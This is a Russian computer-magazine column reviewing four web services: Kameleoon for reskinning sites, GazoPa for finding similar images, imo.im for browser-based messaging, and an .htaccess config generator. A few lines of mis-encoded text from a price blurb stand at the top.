ÏÎ ÖÅÍÅ

2100 ðóá. 

8.5 Ãá
DVD
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Забавный по своей затее сервис представили французские програм-
мисты. Суть проста: с помощью браузера и удобного онлайн-сервиса ты 
можешь создать свой скин для любого сайта. Изменить оформление веб-
страницы можно за несколько минут, при этом понадобится только брау-
зер. Выглядит это так: ты указываешь адрес сайта в нужной графе, после 
чего тот открывается внутри специального AJAX-редактора. Далее можно 
выбрать произвольный элемент дизайна и изменять его как вздумается 
с помощью всплывающих управляющих панелей. Особенно здорово 
Kameleoon работает с известными движками, например, Wordpress’ом.

KAMELEOON
www.kameleoon.com

GAZOPA
www.gazopa.com
Найти нужную картинку в большем разрешении — зачастую не такая 
уж большая проблема. Если скормить изображение сервису TinEye 
(tineye.com), тот достаточно быстро выдаст картинки из других источни-
ков, в том числе большего размера. У меня на этот случай даже установ-
лен плагин для Google Chrome. Но если нужно найти не точно такую же 
картинку, а что-нибудь похожее, то это уже задачка для нового сервиса 
GazoPa. Забавно, что в качестве условий для поиска может выступать как 
файл с изображением, так и скетч, нарисованный от руки в специальном 
Flash-редакторе.

IMO
www.imo.im
Когда мне нужно было срочно выйти в аську с чужого компьютера, 
я всегда использовал единственный достойный онлайн-сервис – 
meebo.com. Теперь же, наконец, появилась хорошая альтернатива в 
лице imo.im. По правде говоря, на глаза он попался совершенно слу-
чайно, когда я искал онлайн-замену для Skype, позволяющую не только 
использовать внутренний чат, но и совершать голосовые звонки. Теперь 
же активно юзаю imo.im и для аськи, и для Skype, и для GTalk! А ради 
интереса установил и декстопную версию imo.im на свой ноутбук.

ICQ, Skype, Gtalk и другие 
IM-сети в браузере

Поиск похожих 
картинок

Создаем сменный 
скин сайта

UNITS

HTTP://WWW2

Матерым системным администраторам едва ли понадобится генера-
тор .htaccess файлов, но для тех, кому поднимать веб-сервер прихо-
дится лишь время от времени, этот сервис незаменим. Задать особые 
страницы для 404/500 ошибок, установить пароль для просмотра папки, 
заблокировать пользователей по IP, настроить редирект — все это и 
многое другое осуществляется через .htaccess файл. Когда ковыряться 
в нем руками времени нет, а изучать синтаксис неохота, сгенерировать 
конфиг поможет сервис .htaccess redirect. Аналогичные инструменты 
встречаютс я также в админках хостинг-панелей.

Генерация .htaccess 
конфига

.HTACCESS REDIRECT
htaccessredirect.net






